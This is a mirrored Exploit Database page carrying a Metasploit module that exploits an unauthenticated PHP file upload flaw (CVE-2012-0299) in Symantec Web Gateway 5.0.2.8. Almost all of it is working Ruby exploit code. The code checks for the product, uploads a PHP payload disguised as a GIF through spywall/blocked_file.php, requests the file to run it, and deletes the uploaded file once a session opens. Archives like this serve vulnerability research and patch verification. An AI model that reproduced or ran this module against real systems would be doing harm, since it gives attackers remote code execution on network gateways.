Symantec Web Gateway 5.0.2.8 – Arbitrary ‘.PHP’ File Upload (Metasploit)

• Exploit Database
• 15 阅读

• 作者： Metasploit
  日期： 2012-06-10
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/19038/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name' => "Symantec Web Gateway 5.0.2.8 Arbitrary PHP File Upload Vulnerability",
  			'Description'=> %q{
  					This module exploits a file upload vulnerability found in Symantec Web Gateway's
  				HTTP service. Due to the incorrect use of file extensions in the upload_file()
  				function, this allows us to abuse the spywall/blocked_file.php file in order to
  				upload a malicious PHP file without any authentication, which results in arbitrary
  				code execution.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'Tenable Network Security', # Vulnerability Discovery
  					'juan vazquez' # Metasploit module
  				],
  			'References' =>
  				[
  					[ 'CVE', '2012-0299' ],
  					[ 'OSVDB', '82025' ],
  					[ 'BID', '53443' ],
  					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-091' ],
  					[ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00' ]
  				],
  			'Payload'=>
  				{
  					'BadChars' => "\x00"
  				},
  			'DefaultOptions'=>
  				{
  					'ExitFunction' => "none"
  				},
  			'Platform' => ['php'],
  			'Arch' => ARCH_PHP,
  			'Targets'=>
  				[
  					['Symantec Web Gateway 5.0.2.8', {}],
  				],
  			'Privileged' => false,
  			'DisclosureDate' => "May 17 2012",
  			'DefaultTarget'=> 0))
  	end
  
  
  	def check
  		res = send_request_raw({
  			'method' => 'GET',
  			'uri'=> '/spywall/login.php'
  		})
  
  		if res and res.body =~ /\<title\>Symantec Web Gateway\<\/title\>/
  			return Exploit::CheckCode::Detected
  		else
  			return Exploit::CheckCode::Safe
  		end
  	end
  
  	def on_new_session(client)
  		if client.type == "meterpreter"
  			client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
  			client.fs.file.rm("temp.php")
  		else
  			client.shell_command_token("rm temp.php")
  		end
  	end
  
  	def exploit
  		uri = target_uri.path
  		uri << '/' if uri[-1,1] != '/'
  
  		peer = "#{rhost}:#{rport}"
  		payload_name = Rex::Text.rand_text_alpha(rand(10) + 5) + '.php'
  		before_filename = rand_text_alpha(rand(10) + 5)
  		after_filename = rand_text_alpha(rand(10) + 5)
  
  		post_data = Rex::MIME::Message.new
  		post_data.add_part("true", nil, nil, "form-data; name=\"submitted\"")
  		post_data.add_part(before_filename, "application/octet-stream", nil, "form-data; name=\"before_filename\"")
  		post_data.add_part(after_filename, "application/octet-stream", nil, "form-data; name=\"after_filename\"")
  		post_data.add_part("<?php #{payload.encoded} ?>", "image/gif", nil, "form-data; name=\"new_image\"; filename=\"#{payload_name}\"")
  
  		print_status("#{peer} - Sending PHP payload (#{payload_name})")
  		res = send_request_cgi({
  			'method' => 'POST',
  			'uri'=> "#{uri}spywall/blocked_file.php",
  			'ctype'=> "multipart/form-data; boundary=#{post_data.bound}",
  			'data' => post_data.to_s
  		})
  
  		# If the server returns 200 and the body contains the name
  		# of the default file, we assume we uploaded the malicious
  		# file successfully
  		if not res or res.code != 200 or res.body !~ /temp.php/
  			print_error("#{peer} - File wasn't uploaded, aborting!")
  			return
  		end
  
  		print_status("#{peer} - Executing PHP payload (#{payload_name})")
  		# Execute our payload
  		res = send_request_cgi({
  			'method' => 'GET',
  			'uri'=> "#{uri}spywall/images/upload/temp/temp.php"
  		})
  
  		# If we don't get a 200 when we request our malicious payload, we suspect
  		# we don't have a shell, either.Print the status code for debugging purposes.
  		if res and res.code != 200
  			print_status("#{peer} - Server returned #{res.code.to_s}")
  		end
  	end
  
  end